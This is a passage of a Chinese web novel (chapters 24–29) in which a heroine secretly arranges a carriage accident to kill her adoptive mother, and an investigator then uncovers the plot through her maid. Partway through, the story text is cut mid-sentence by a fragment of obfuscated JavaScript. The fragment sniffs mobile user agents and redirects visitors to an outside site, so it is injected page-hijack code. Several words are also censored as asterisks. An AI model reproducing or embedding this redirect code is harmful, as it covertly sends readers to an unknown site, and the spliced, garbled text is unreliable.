他们如今势同水火,晏逐星怎么可能跟她说实话。
她悻悻地闭上了嘴。
晏逐星掀开车帘往外看了一眼,也不知道半棠有没有把她交代的事情办妥。
马车不疾不徐地往侯府走去。
忽然,街上响起了一阵尖叫声,当中还夹杂着犬吠。
“救命啊——”
温如霜蹙眉,掀起半边车帘,想看看发生了什么。
一个披头散发的鹅黄衫女子在前边狂奔,一只大黄狗在后边对她穷追不舍,一人一狗直愣愣朝他们的马车冲了过来。
温如霜吓得脸色骤变。
车夫拽着缰绳的手青筋暴起,怒喝道:“闪开!快闪开!”
然而还是晚了。
马儿受了惊吓,前蹄腾空而起。
伴随着马儿的嘶鸣声,马车猛地向**斜。
温如霜后脑勺重重磕在雕花车壁上,天旋地转间听见“咔啦”的木轴断裂声。
车帘被整个掀飞,她察觉到身后有一双手推了她一把。
旋即,她整个人像断了线的纸鸢一般滚落在青石板上。
第24章 噩耗突如其来,他们没有半点准备
晏逐星早有准备,因而没有受惊。
她从马车里跟着扑了出来,佯装不受控制地推开了车夫,翻滚两圈落到地上。
温如霜跌倒在地后尚未缓过神来,就听到了跟在车旁的丫鬟划破天际的尖叫:“夫人当心!”
她扭头望去,就瞧见马儿的铁蹄裹着腥风朝她踏来。
温如霜惊恐地瞪大了眼睛,想要起身逃跑,但双手刚刚撑起还没爬起来,马蹄就重重踩到了她的腰上。
“咔嚓”
她清晰地听到了自己的腰间发出一声脆响,五脏六腑在这一刻仿佛都错位了一般,疼得她脸上的血色瞬间退去。
温热的血浆呛进鼻腔,她“哇”一下呕出一大滩血,随后整个人就晕了过去,不知死活。
马儿踩了这一脚,反倒把自己吓了一跳,调转了方向往另一边乱窜。
原本暗中跟随的停云想要出手,就瞧见东城兵马司副指挥江潮和马儿正面撞到了一起。
只见江潮一个旋身飞踢,毫不犹豫拔刀将受惊的马儿就地斩杀。
他默默退了回去,转身回王府去给王爷汇报此事。
吓白了脸的丫鬟哆嗦着跑了过去,跪倒在江潮手中还在滴血的刀尖旁,哭着开口:“大人救命啊,我家主子乃是定远侯夫人,遭此横祸,身受重伤,求您速请大夫!”
江潮看了一眼散架了的马车,瞧见了定远侯府的标志,眉心皱起。
他果断让下属去请了大夫,他来审问究竟发生了什么事。
得知是一条黄狗和一个女人引起的骚乱,他不禁在心底感慨定远侯夫人的倒霉。
“那狗和女子呢?”他四下张望,却没找到他们的踪迹。
围观的百姓一会儿指了东边,一会儿指了西边,没一个人能准确说出那一人一狗行踪的。
毕竟他们当时都吓得躲起来了,生怕被疯了的马伤到。
大夫拎着医药箱匆匆赶来,替温如霜施针。
止住血后,他抹了把额头的冷汗:“这腰椎骨断得彻底。老夫才疏学浅,只能替夫人把命吊住,往后……”
他看着沾血的手指,叹了一口气,才继续开口:“恐怕只得瘫在床上熬日子了。”
侯府丫鬟和车夫听到这话吓得面色惨白。
完了,夫人若是瘫痪在床,日后一定不会饶了他们的。
一旁的晏逐星听到这话,微微蹙眉。
她原本是打算今日就要了温如霜性命的。
谁让她这几日步步紧逼,一点活路也不给她留。
因此临行前,她便让半棠去找了九栀。
让九栀制造一场混乱,她好浑水摸鱼将温如霜推下马车,将她弄死。
没想到温如霜竟然这般命大,被马踩了还能活下来。
不过这样也好,等到明年晏明修考上了进士,要入翰林院后,她再取她性命。
到时候晏明修丧母就得丁忧三年。
机会就在眼前,却活生生地错过,晏明修的痛苦只会加倍。
而温如霜之后瘫痪在床,恐怕也会生不如死。
她瞥了一眼温如霜,暗暗在心中祈祷她要争点气,可别就这样**。
她还想让她亲眼看着侯府是如何败落的。
定远侯收到消息,领着次子晏明修匆匆赶来,得知温如霜下半辈子可能要瘫痪在床,一个踉跄差点跌倒在地。
噩耗突如其来,他们完全没有半点准备。
晏明修双目猩红扑向了晏逐星,揪着她的衣领质问:“是不是你害的母亲?”
晏逐星睁开眼睛,发现他身后竟然还跟着裴明镜。
她心头咯噔一跳。
裴明镜那厮可不好糊弄,不会被他发现什么问题吧?
“二少爷,大小姐也受伤了,你冷静点。”裴明镜上前按住了晏明修的肩,示意他松手。
“我娘都快**,你让我怎么冷静。”晏明修推开他的手,恨恨地盯着晏逐星,“你就是个灾星,你就该**。”
他恶狠狠地想要伸手掐住晏逐星的脖子,却再一次被裴明镜拦住了。
他淡淡道:“二公子莫非要当着本官的面行凶?”
晏明修气得咬牙切齿,狠狠甩开了他的手,死死盯着晏逐星,从齿缝中挤出一句:“岂敢。”
晏逐星吸了吸鼻子,低吼道:“昨日你们说我给世子下药,今日马车意外又要我说弑母。所以当初你们将捡我回来,就是为了给晏家养个替罪羊么?”
她嗤笑一声,眼角的泪顺着脸颊滑落。
“横竖要我死,何须费心罗织罪名。我这就**还不行吗。”
喊出这句话后,她拖着受伤的腿往前爬,发了狠地
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想要一头撞向街边的楹柱。
额角距离柱子还有半寸距离的时候,她忽然被人拦腰抱住。
她睁眼一看,竟然是永安王。
“本王的玉坠还没找到,你可不能死。”
他将她小心地放回软舆上,冲着身后的季太医努了努嘴:“替她瞧瞧。过几日,她还得去宫里给十妹妹指点破阵舞呢。这腿可不能伤了。”
“是。”季太医认命地替晏逐星检查起伤口。
有他在,晏明修不敢造次,但看着晏逐星的眼神恨意不减。
谢翊宁看向晏明修,似笑非笑道:“本王记得大虞早就取消了活人殉葬的规矩吧。定远侯府的规矩难不成比国法还大?侯夫人尚未殒命,做兄长的就要逼迫妹妹陪葬?”
晏明修一张脸涨得通红,嗫嚅着唇不敢反驳。
定远侯不得不站出来收拾烂摊子。
他沉声道:“明修只是一时无法接受母亲重伤的噩耗,情急之下说错了话。还请王爷谅解。”
裴明镜的眼神在谢翊宁和晏逐星身上来回扫视。
是他的错觉么,他怎么觉得永安王格外护着定远侯府这位大小姐。
可是据他私下调查,二人除了在威宁侯府上见过一面,私底下并无往来。
他又看了一眼地上温如霜的尸体。
昨日这母女二人才反目成仇,今日侯夫人便受了重伤。
这真的是巧合吗?
裴明镜陷入了沉思。
“王爷,晏大小姐的腿……”季太医的话打破了对峙的尴尬氛围。
他正要说晏逐星只是骨折了,好好养护一段时间就行。
结果话还没说完,谢翊宁就打断了他:“嗯?晏大小姐的腿怎么了?是不是很严重?”
季太医看着他警告的眼神,听懂了他的话外音,当即露出了沉痛的表情,将真话咽了回去。
“晏大小姐的腿断了,若接骨时错上半分筋脉,只怕要落个终身跛疾。”
随后他又指了指晏逐星的后脑勺:“瘀血堵在这儿,若再深三分,便是大罗金仙也救不回来。”
晏逐星被他的话唬了一跳。
她跳下来的时候心里有数着呢。
她这腿顶多养一个月就没问题了,至于脑袋,也只是擦伤破了点皮,季太医怎么说得她跟快**一样。
第25章 将抱回晏逐星的事情一一道来
谢翊宁摸着手上的玉扳指,露出了一个浮夸的表情:“呀,竟这般严重。”
随后他又看向了定远侯。
“那侯爷可得好好照顾晏大小姐,等她康复了,应该就能想起我的玉坠在何处了。”
定远侯憋了一肚子的气,但又不敢对谢翊宁无礼,现下还有求于他,只能勉强挤出笑容,讨好道:“星儿是我的女儿,我当然会好好照顾她。王爷无需挂怀。能不能请季太医给我夫人也瞧瞧?”
谢翊宁点了点头。
季太医便去给温如霜检查了。
他得出的结论和先前那位大夫一样,能活,但会瘫痪一辈子。
趁此机会,裴明镜看向晏逐星,想要从她那里套出实话:“晏大小姐,本官有一事想请你解惑。”
晏逐星乖巧地点了点头:“大人您问。我一定知无不言言无不尽。”
结果还没等裴明镜开口,她整个人就歪在软舆上,忽地捂住额头,“嘶……我的头……好晕……”
话音落下,便闭上了眼睛。
裴明镜气笑了。
这人嘴上说着尽管来问,可他还没问,她就晕了。
有这心眼子,她在侯府里还能被欺负?
……
定远侯带着温如霜和晏逐星回府,晏明月得知母亲受了这么重的伤,当场哭晕了过去。
晏逐星被送回了玉澜院。
半棠被叫到了屋里,她惶恐不安地看着晏逐星。
她先前替大小姐去传了话,结果夫人就受重伤快**,这事不会和大小姐有关系吧?
晏逐星躺在床上,轻轻吐出一口气。
温如霜如今身受重伤,尚未苏醒,现在她的院子里恐怕正乱成一团,正是套话的好时机。
她果断下命令:“你去把双鲤接回来,顺便将李嬷嬷请来,让她把我的金镯子送回来。她若不肯带着东西过来,你就告诉她,我有一份大礼送给她,保证她见不到明天的太阳。”
金镯子?
半棠心里一阵骇然。
大小姐什么时候收买的李嬷嬷?
她越发猜不透晏逐星的举动,心底对她的畏惧渐渐加深,没敢多说废话,直接去办事了。
不一会儿,双鲤和李嬷嬷就都来了玉澜院。
“小姐,您没事吧?”双鲤看到床上受了伤的晏逐星,眼泪说流就流。
“我没事。你呢,他们没有欺负你吧?”晏逐星摸了摸她的脑袋。
“没有。”双鲤重重摇头。
小姐走之前放了狠话,夫人又不在,没个主事的,他们自然不敢对她滥用私刑。
晏逐星冲她笑了笑:“那就好。你去给我熬药膳吧,除了你,我不放心别人。”
“好!我保管不会让人害了小姐。”双鲤立刻爬起来去熬药。
小姐的吃食,那可绝对马虎不得。
一旁的半棠听着心底隐隐有些羡慕。
大小姐对双鲤真好。
二小姐虽然在外头总是一副菩萨下凡的温良模样,但她可是听瑶华院里的小姐妹们说过,二小姐一个不顺心就拿身边的人撒气。
她用银针专挑指甲盖底下的肉戳,疼得钻心又不见血。外院的人不知道这些事情,还以为他们跟在二小姐身边多幸福呢。
吩咐完双鲤干活,晏逐星又让半棠去替她做别的事情,将整个院子的人支使得团团转。
而李氏就这样被她晾在了一边。
李氏攥着帕子立在床边,眼睁睁看着丫鬟们进进出出,冷汗洇湿了中衣,她紧张极了。
夫人出事,大小姐将她叫来究竟是什么意思。
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难不成她都想起来了?
还有那份致命的大礼,究竟是什么东西。
晏逐星越是不说话,她就越紧张。
终于她忍不住先开了口:“不知大小姐寻老奴来所为何事?若是无事,老奴就先行告退了。毕竟夫人昏迷不醒,院子里还有许多事情等着老奴处理呢。”
晏逐星这才看向她:“我的金镯子呢?”
“大小姐说什么,老奴不明白。”李氏这会儿还想着蒙混过关。
“我小时候,温如霜将我偷来戴在我手上的金镯子呢?”晏逐星沉下了脸。
“你若不老实交代,待会儿谁来了都保不住你。”
“毕竟,你的床褥里可藏着皇后娘娘赐给我的金簪呢。”
“老奴冤枉啊。”李氏慌忙跪倒在地。
昨日大小姐才闹了一出御赐之物丢失的事情,若今日东西就在她那里找到,她有口也说不清。
更何况夫人如今昏迷,还不知道什么时候会醒。
若是晏逐星打定主意发作她,恐怕她撑不到夫人醒来就没了性命。
晏逐星微微一笑:“冤不冤枉,我心里有数。你若再不说实话,我就要大张旗鼓命人去搜你的屋子了。”
随后,她又将藏在怀中的玉佩掏了出来,在李氏面前晃了晃:“对了,忘记告诉嬷嬷一个好消息,烈国公要收我当义女了。回府前他曾放话,若我受了欺负,他一定会打上门来替我讨回公道。”
李氏一怔,没想到晏逐星竟然有这样的大造化,能让烈国公收下她当义女。
看着晏逐星威胁的目光,她哆哆嗦嗦地从怀里掏出了那个金镯子交给她,颤声道:“我说,我全都说。”
随后,她便将那年元宵灯会抱回晏逐星的事情一一道来。
第26章 上辈子的疑团在这一刻解开
“那年,是夫人的祖父过八十大寿,她便领着几位小主子回了青州贺寿。”
“寿宴结束后正赶上了青州的花灯节,夫人领着小主子们上街闲逛,没想到二小姐竟然丢了。”
“夫人不敢声张此事,悄悄派人去找。可找了好几日,都没找到二小姐。”
“京城这边,侯爷催着夫人归家。回京城的前夜,夫人在街上瞧见了您。您当时拿着一串糖葫芦,身边没有大人在。”
“夫人见你与二小姐有几分相似,便把你抱回府,让你顶替了二小姐的名义留下。”
晏逐星听完,冷不丁地开口:“我不可能乖乖听话,你们对我做了什么?”
李氏额角冒出了冷汗,事已至此,隐瞒已经没有意义,她只得和盘托出。
“您当时约莫两岁左右,已经认人,死活不肯改口叫夫人娘亲。于是夫人便给你下了药,让你彻底忘了前尘往事。”
上辈子的疑团在这一刻解开。
晏逐星把玩着那个金镯子,询问道:“所以,你们也不知道我的爹娘是谁?”
“没错。”李氏点了点头。
“夫人将你抱回来后,便马上领着你回了京城。后来派人回青州悄悄打听,也没有听说哪户人家孩子走丢报官,夫人就没有继续派人去寻找了。”
晏逐星总觉得此事透露出古怪。
这个金手镯上还镶嵌着异域来的宝石,价值不菲,想必她的爹娘对她应该很是疼爱。
这种情况下,怎么会让她一个小孩落在街头呢?
又怎么会弄丢她之后一直不去找她呢?
迷雾重重,晏逐星只得暂时将疑惑按下。
当务之急是先报仇,至于亲生父母,日后再慢慢寻找。
见晏逐星迟迟不说话,李氏忍不住道:“小姐,老奴知道的就这么多了……”
晏逐星想问的已经问出来了,她抬眸看向李氏:“你可以走。但出去之后,如果有人问你,你知道该怎么说吧?”
李氏忙不迭点头:“知道的。老奴定然不会泄露和您的谈话。”
要是让夫人知道她背叛了她,肯定不会让她好过的。
“不,烈国公要收我为义女一事可以说。”晏逐星打算借着她的口,将此事宣扬出去。
李氏一怔,而后惶惶不安地点头:“老奴记住了。”
瞧见晏逐星摆手让她离开,李氏松了一口气,像逃命似的跑出了玉澜院。
不曾想,刚走到一半,就被瑶华院的丫鬟拦住了。
“嬷嬷,二小姐有请。”
李氏刚放下的心又悬了起来。
糟了。
才出虎口又进狼窝,二小姐那边她该如何应对。
她忐忑不安地跟着丫鬟去了瑶华院。
果不其然,晏明月见到她的第一句话就是:“晏逐星找你做什么?”
李氏老老实实按照晏逐星的交代说了出来。
“什么?!烈国公一家不该恨死她了么,怎么还会收她当义女?”晏明月惊呼声陡然劈了岔。
“老奴也不知呀。如今夫人昏迷不醒,得尽快命人去往青州给温家送信呢。”李氏转移话题。
“你不许将此事告诉父亲。”晏明月下意识地想要隐瞒这件事。
如今母亲不在,父亲说不定会因为烈国公一家转变想法,和晏逐星重修旧好。
到时候她就更争不过晏逐星了。
李氏暗想,她不说难道大小姐就不会说么。
这事根本隐瞒不了多久。
但她面上还是恭恭敬敬地点头:“是。一切都听二小姐的吩咐。”
有了她这句话,晏明月心里堵着的那口气勉强顺了下去。
“走吧,我跟你一块去探望娘亲。”她起身领着李氏去找母亲。
毕竟,这个家里最疼她的就是娘亲了。
这个节骨眼上,娘亲可是万万不能出事的。
……
翌日清晨,温如霜是被活活疼醒的。
冷汗把眼皮黏得死紧,她挣扎了半炷香时间才勉强撑开条缝。她伸出左手胡乱抓挠着床褥,一旁守着打瞌睡的晏明月听到声音猛地惊醒。
看见这一幕,她抹着眼泪扑到了床边:“娘亲,您可算醒了,可让女儿担心坏了。”
温如霜想要扶着她的手起身,却发现腰臀像压着千斤磨盘一般纹丝不动。
她整个人僵在了原地,片刻后,忽然像发疯似的用手掐向大腿内侧。
“娘亲,您这是做什么?!”晏明月惊呼出声。
温如霜眼里流露出惊慌和错愕,她掐得那么用力,为什么腿毫无反应。
见她将自己的腿掐得青紫,一旁的晏明月吓坏了,不知所措地呆愣在原地。
李氏看不下去了,涕泪横流,扑过去阻止她:“夫人,您莫要伤害自己啊。”
温如霜猛地推开了她,发狠地抓挠自己的腿,硬生生剜出好几道血痕都没停下。
挠不出感觉,她又将掌心合拢成拳头用力地砸下去,依旧没有任何反应。
她僵硬地扭头看向李氏:“我的腿怎么了?”
李氏哭红了眼眶,哽咽道:“夫人,您只是受了点伤,大夫说需要好好调养……”
“你敢骗我?”她愤怒地将枕头砸向李氏。
随后她又看向了晏明月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497770|170242||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你来说!若是不说实话,就别认我这个母亲了。”
晏明月还是第一回见到这么可怕的娘亲。
她印象里,娘亲总是温温柔柔,眼里带着笑,让人如沐春风。
如今反差太大,一时间她愣在了原地,不敢看她。
“你说呀!”温如霜声嘶力竭地怒吼。
晏明月吓坏了,赶忙把真话说了出来。
得知自己后半生都要躺在床上当个废人,温如霜像是被雷劈中了一般,僵在了原地。
“不,不可能。一定是那庸医胡说八道的。去,给我请太医!我要太医给我治。”温如霜不愿意相信这个事实,撕心裂肺地闹了起来。
晏明月小心翼翼地开口:“父亲已经请过三个太医了,他们都是同一个说法。”
这句话彻底击垮了温如霜。
她脸色迅速变得灰败,她双目无神地看着屋顶。
“你们都出去,我想自己一个人静一静。”
听到这话,晏明月只得带着丫鬟退了出去。
李氏担忧地看着屋子里的夫人,忍不住冲晏明月抱怨。
“二小姐,您不该跟夫人说实话的。夫人知道真相,若是萌出了死志可如何是好。”
“我是主子还是你是主子,轮得到你教训我吗?”晏明月横了她一眼。
李氏赶忙扇了自己一巴掌:“是老奴多嘴了。”
话音刚落,就听到屋子里传来了瓷碗摔碎的声音。
晏明月和李氏吓了一跳,赶忙冲去进,就看到温如霜将药碗砸碎,拿着碎片往手腕上划。
这分明是一心求死!
晏明月看到这一幕,脑子发蒙。
完了,母亲真的寻**。
李氏“嗷”一声扑了过去,抢走了她手上的碎瓷片,哭喊了起来:“夫人您这是做什么呀,您还没含饴弄孙呢,怎么就想不开了。”
“你让我死,我这样活着有什么意思。”温如霜崩溃大哭。
她无法接受自己成为一个要靠别人把屎把尿过活的废物。
晏明月听到她尖锐的哭声,一个激灵回过神来。
大哥正在议亲,二哥也在准备明年的秋闱,她马上也要及笄了。
若是母亲**,他们得守孝三年。
三年后,她就十八岁了,哪里还找得到般配的夫君。
不,母亲决不能死。
她快步走到床边,跟着劝说了起来。
“娘亲,您不能抛下我们不管啊。再说了,姐姐都没事,您肯定也会没事的。”
温如霜一顿,止住了哭声,不可思议地看向了晏明月。
“你说那野丫头,没事?”
第27章 说实话,我并不是很想和裴大人见面
晏明月眼神闪了闪:“伤了腿,但不严重,太医说休养一段时间就没事了。”
温如霜猛地攥紧了拳头,脱口而出:“凭什么?!”
同样是摔下马车,凭什么她以后再也不能行走,而晏逐星却没事。
她眼中恨意渐浓,猛地回想起昨日马车上的场景。
摔下车前,似乎有人推了她一把。
她紧紧抓住了晏明月的手,声嘶力竭地呐喊:“是那个野种害的我,是她把我推下马车的。”
晏明月和李氏听到这话,都吓了一跳。
不会吧,晏逐星她敢吗?
“报官,我要报官!”温如霜肩膀颤抖了起来。
“那个孽畜,她想要弑母。”
晏明远和晏明修得知母亲苏醒,赶过来探望,踏入院子就听到了这声泪俱下的控诉。
晏明修当场发怒:“我果然没猜错,那野丫头就不是个好东西。娘,你放心,我这就去报官!”
“等等,先问过父亲再说。”晏明远拦住了冲动的弟弟。
很快,定远侯也来到了温如霜的院子里。
他看着温如霜,再三确定:“当真是她推了你?”
“没错!”温如霜重重点头。
定远侯思索了起来。
昨日永安王对那丫头维护的模样他可是看得一清二楚。
若是将此事宣扬出去,会不会惹得永安王不悦?
见他没有马上答应下来,温如霜脸色变得阴沉,她指节攥得发白,唇间吐出冷冷一句话:“若是侯爷不能替我讨回公道,那我便让兄长从青州来替我报仇。”
定远侯眉心一跳。
青州温家也不是好打发的,大舅兄温石岚如今乃是青州府知府,若是得知妹妹落得这个下场,他却什么都没做,定然会朝自己发难。
想到这,他握住了温如霜的手,温声道:“夫人说的什么话,我怎么会不替你讨回公道呢。只是如今没有证据,贸贸然地去报官,反倒不好。”
温如霜柳眉倒竖,身后的疼痛愈发强烈,她心底的怒气翻涌得也愈发厉害:“所以侯爷是要让我吃下这个哑巴亏?”
“怎么会。”定远侯摇头,“今日裴明镜还会再次登门,届时咱们私底下和他说这事。这人跟狗似的,但凡嗅得半点线索便穷追不舍。若此事真的存有蹊跷,他定会掘地三尺查个水落石出。”
“上回裴大人可是偏袒了姐姐,这一回会秉公彻查么?”一旁的晏明月忍不住插话。
定远侯不满地瞥了她一眼,她竟还敢提那件事。
晏明月被父亲的目光吓得缩了缩脖子。
片刻后,定远侯开口。
“彼时晏逐星呈证确凿,裴明镜也是公事公办。此人连宗室显贵的威逼都无动于衷,只为查案,又岂会为了晏逐星徇私?”
这话勉强让温如霜接受了。
“届时侯爷一定要将他请来。”
“嗯,你放心吧。”定远侯点了点头,让李氏重新端来一碗药,亲自喂她喝完,等她睡下了,方才起身离开。
临行前,他警告地看着几个孩子。
“此事我自有主张,你们切莫轻举妄动。”
“是。”晏明远三人不情不愿地点了点头。
没过多久,裴明镜便登门拜访了。
“裴大人还是为了世子爷被下药一事前来么?”定远侯打探了起来。
“世子爷被下药一事,我已经同烈国公打听过了。他说此事乃是误会一场,与令嫒无关。”
定远侯眼里闪过一丝疑惑。
烈国公爱子如命,怎么会将此事轻轻揭过?
先前被夫人闹了一场,都没来得及问昨日烈国公府一行如何了。
裴明镜又道:“不过威宁侯那边倒是有人证,说是瞧见了贵府大小姐与世子爷拉拉扯扯,还让世子爷喝下了东西。”
“这个逆女!竟如此胆大妄为。”定远侯怒喝一声,猛拍大腿。“真是家门不幸啊。”
裴明镜面无表情道:“只有人证没有物证,且没有抓到现行,此事是否是令嫒所为尚且存疑。”
定远侯有些尴尬地开口:“那大
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人今日前来,是……?”
“乃是为了昨日朱雀街上惊马一事。”裴明镜也没有卖关子。
他总觉得昨日的事情有些蹊跷。
不查清楚,他心里不舒服。
“说起这事,我夫人今日醒了,跟我说当时她摔下马车,乃是有人推了她一把。”定远侯露出了伤心的表情,“裴大人,你可一定要查出真凶,还我夫人一个公道啊。”
裴明镜挑眉。
当时马车上只有定远侯夫人和晏逐星,定远侯话里的意思很明显了。
此事乃是晏逐星所为。
这定远侯一家,真是有意思。
做女儿的被仆役苛待无人问津,做父亲的没有证据就急着往女儿身上泼脏水,做母亲的滚下马车又声称是女儿所为。
即便不是亲生,十几年养育也该有些情分,怎会闹到这般田地?
思及此处,裴明镜开口:“侯爷放心。若此事并非意外,本官一定会将真凶捉拿归案。”
定远侯抹了抹微微湿润的眼角:“多谢裴大人。”
随后,他让人将裴明镜带去了玉澜院。
晏逐星正醒着,很适合审问。
裴明镜微微一笑:“晏大小姐,又见面了。”
晏逐星叹气:“说实话,我并不是很想和裴大人见面。”
“哦?莫不是做了什么恶事心虚,不敢见本官?”裴明镜话里带刺。
晏逐星打起精神应对:“裴大人说笑了。我只是觉得每次遇到裴大人,都是性命堪忧之时。而我只想平安活着。”
裴明镜见她回答得滴水不漏,便询问起了事发当日的所有事情。
从出门前到出门后,事无巨细。
晏逐星简单地回答几句后,揉了揉自己的额角。
一旁的双鲤担忧地上前询问:“小姐可是脑袋又不舒服了。”
晏逐星轻声回应:“嗯,头晕。昨日磕到脑袋后,就一直有些不舒服。”
裴明镜忽然开口:“定远侯夫人说是你把她推下马车的,大小姐有什么想对本官说么。”
第28章 不禁吓,这么快就把实话说出来了
晏逐星还没开口,双鲤就炸毛了。
“奴婢知道夫人不喜小姐,但这么大的罪名,怎么能无缘无故扣在小姐头上呢。更何况,我家小姐腿都摔断了。她是不是也能说是夫人推的她?”
双鲤说着说着,就哭了起来。
她是真的心疼她家小姐。
只不过陪着夫人出门一趟,前几日还能爬树,今天就只能躺在床上了。
若是恢复不好,落下跛疾,日后还怎么嫁人。
爹不疼娘不爱,还嫁不到一个好人家,她的小姐好惨啊。
双鲤越想哭得越厉害了。
“别哭,我不是没事么。”晏逐星有些无奈,这小丫头怎么越来越爱哭了。
随后,她又看向了裴明镜。
“大人,马儿受惊,马车颠簸之下我连自己身体都控制不住,怎么推的母亲?许是颠簸过程中磕磕绊绊,有了肢体接触,被母亲误会了。”
说完,她垂下了脑袋,语气当中带着一丝哽咽:“母亲误解我也不是一次两次了,还请大人查明真相,还我清白。”
“好。”裴明镜应了下来,“那我就不打扰大小姐了。希望你早日康复。”
“谢谢。”晏逐星轻咳两声吩咐道,“双鲤,你替我送送裴大人。”
“是。”双鲤不情不愿地答应了下来。
裴明镜走出屋子,发现原本守在屋外的丫鬟见他出来猛地转身。
裴明镜若有所思,叫住了她。
“站住,你也是这院里的丫鬟?”
“回大人话,奴婢确实是大小姐的丫鬟。”转身要走的半棠顿住了脚步,僵硬地转动身子看了回来。
“昨日你去了哪里?”裴明镜开口询问。
半棠紧张不已,被这位大人盯上,她背后竟隐隐冒出了冷汗。
“我昨日去了浮酥坊,小姐想吃他们家的五香糕。我早早就去排队了。”她按照晏逐星交代的回答。
昨日,她替大小姐去一个小院子里给一个人传话。
穿过那个院子,拐一条巷道就是浮酥坊。
这个借口不会惹人怀疑。
“只可惜我家小姐从国公府回来后,遭此横祸,那五香糕都没吃上。”半棠抹起了眼泪。
“糕点呢,拿来我看看。”裴明镜又问。
“是。”半棠赶紧从屋子里把五香糕拿了出来,包装都没打开,显然没有人动过。
裴明镜打开瞧了瞧,这五香糕已经有些回油,看着并非新鲜出炉,至少隔了一日有余。
看来这丫鬟没撒谎,但他总觉得有古怪。
裴明镜将糕点收下。
“劳烦跟你家小姐说一声,这糕点我带走了,明日本官会让人送一份新的来。”
“是。”半棠一个字都不敢多说。
裴明镜拿着糕点离开,双鲤忍不住嘀咕。
“裴大人这么大的官,怎么还捡小姐不要的糕点吃啊。”
晏逐星唇角飞快勾起又放下:“他呀,可不是为了吃这糕点。”
她盯着自己手上的擦伤,陷入了沉思。
上回,她先入为主地让裴明镜觉得她可怜,同情了她,所以那件事并没有仔细严查。
这一回,恐怕没有这么容易过关了。
她冲双鲤招了招手,对着她耳边悄悄嘱咐了几句。
比起半棠,她更相信双鲤。
衔蝉将这一切默默看在了眼底,而后趁着晏逐星休息,将此事传回了永安王府。
“王爷,昨日之事,不会真是那位大小姐做的吧?”停云皱眉。
若是这样,那侯府大小姐也太可怕了。
从她出侯府开始,他一直跟着她,完全想不到她是怎么做到的。
“不可能。她不是那样的人。”谢翊宁果断否认。
他将衔蝉传回来的信烧掉,想了想,还是吩咐了一句。
“继续查那个黄衫女子,若是找到了,将她先带回王府。重点在浮酥坊附近查。”
他不认为晏逐星是那样嘴馋的人。
好端端的忽然让丫鬟去浮酥坊排长队买五香糕,或许另有用意。
……
翌日。
裴明镜再一次登门造访定远侯府。
这一次,他没有去玉澜院寻晏逐星,而是让人将半棠单独带了过来。
半棠看到他,下意识地屏住了呼吸。
“昨日你究竟去了
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何处?”裴明镜厉声质问。
“奴婢替大小姐去浮酥坊买了五香糕。”半棠脱口而出。
裴明镜起身逼近,她下意识地想要退后。
裴明镜一字一句道:“你可知此事涉及了侯府主母的性命,你若有所隐瞒,那便是死罪。”
他眸中寒星骤亮,钉住了她打算后退的脚步。
半棠咽了咽口水,想到那一百两银票,拼命摇头:“奴婢不知道大人说什么,奴婢真的只是替小姐去买了五香糕。”
“你还要继续隐瞒么?本官已经查到了你昨日的行踪,你根本就不是去买什么五香糕,你明明就是去花钱雇凶!昨日那女子,是你找来的吧?”最后一句话,裴明镜猛地提高了声音。
半棠吓得腿一软,跌坐在地:“不是我,我什么都不知道。”
看她这副模样,裴明镜越发肯定了心中的猜测。
昨日玉澜院,唯有这个丫鬟出了门。
晏逐星若是需要人里应外合,便只能靠这个丫鬟了。
他冷冷道:“那女子已经被我们找到了。你若不说实话,那便等着被**吧。”
“不,不是我。我只是替大小姐传了一封信。别的我什么都不知道呀。”半棠哭着跪地求饶。
裴明镜面无表情地看着她:“从头开始,把事情完整地说一遍。”
半棠哭哭啼啼地把事情都说了出来,连一百两银票的事情都没敢隐瞒。
裴明镜若有所思,指节轻轻点了点檀木桌面。
他没有证据,不过是诈她一诈,没想到她竟然这般不禁吓,这么快就把实话说出来了。
“你带本官去拿人。”裴明镜起身,将半棠带出府去。
没有捉到人之前,他不打算去见晏逐星。
她巧舌如簧,没有证据,她定然不会认罪。
半棠面如考妣,带着裴明镜去了昨日传信的小院子。
“就是这。”她指了指一个不起眼的院落。
裴明镜看向身旁的两个护卫。
护卫会意,点点头,随后翻身进了院子。
片刻后,护卫匆匆跑了出来。
“大人,院里空无一人。”
第29章 三个人,她谁也得罪不起
“小姐,裴大人命人送了五香糕来。”
双鲤将糕点送到了晏逐星面前。
晏逐星捻起一块,眉头微皱:“半棠呢,怎么去主院那么久还没回来?”
双鲤答道:“她说夫人留她问话,让我先把糕点拿回来。”
晏逐星往她嘴里塞了一块糕点,又冲门外的衔蝉招了招手。
“衔蝉姑娘,能不能劳烦你去一趟主院,把半棠带回来。”
衔蝉规矩行礼,而后点头回答:“奴婢这就去。大小姐有事只管吩咐,不必这般客气。”
“好。辛苦你了。”晏逐星给双鲤使了个眼神。
双鲤甜甜一笑,捡了一块五香糕双手递给了衔蝉:“姐姐吃糕饼。”
“多谢大小姐赏赐。”衔蝉笑着收下了。
晏逐星瞧着她远去的背影,思索了起来。
衔蝉是永安王的人,温如霜怎么着都得给她点面子吧。
让她去打听主院的情况,再合适不过了。
一刻钟后,衔蝉回来了,而她身后却空无一人。
“半棠呢?”晏逐星问道。
“李嬷嬷说让她留下和芰荷讨论一下绣花的样式,让我不要着急。若是玉澜院缺人手,她可以派别人过来。”衔蝉将李嬷嬷的话一字不落地转达。
“所以你并没有看到她本人?”晏逐星又问。
衔蝉点头。
晏逐星心底有了猜测,半棠多半不在主院。
她再次吩咐:“你再打听打听,今日送糕点来的人,是裴明镜本人,还是他的下人。”
“是。”衔蝉应声。
很快就有了答案,今日的五香糕是裴明镜亲自来的。
晏逐星明白了。
裴明镜怀疑她,所以把半棠带走了。
而半棠,多半已经把她卖了个一干二净。
她下意识道:“双鲤,你去打听一下……”
话说到一半,她又顿住了。
若是现在让双鲤去找人,那岂不是自投罗网。
她现在不能动。
信里已经吩咐过九栀,事成之后换一个地方落脚。
五日后,再到清泉居见面。
“小姐?”见她话说到一半忽然收声,双鲤歪着脑袋出声提醒。
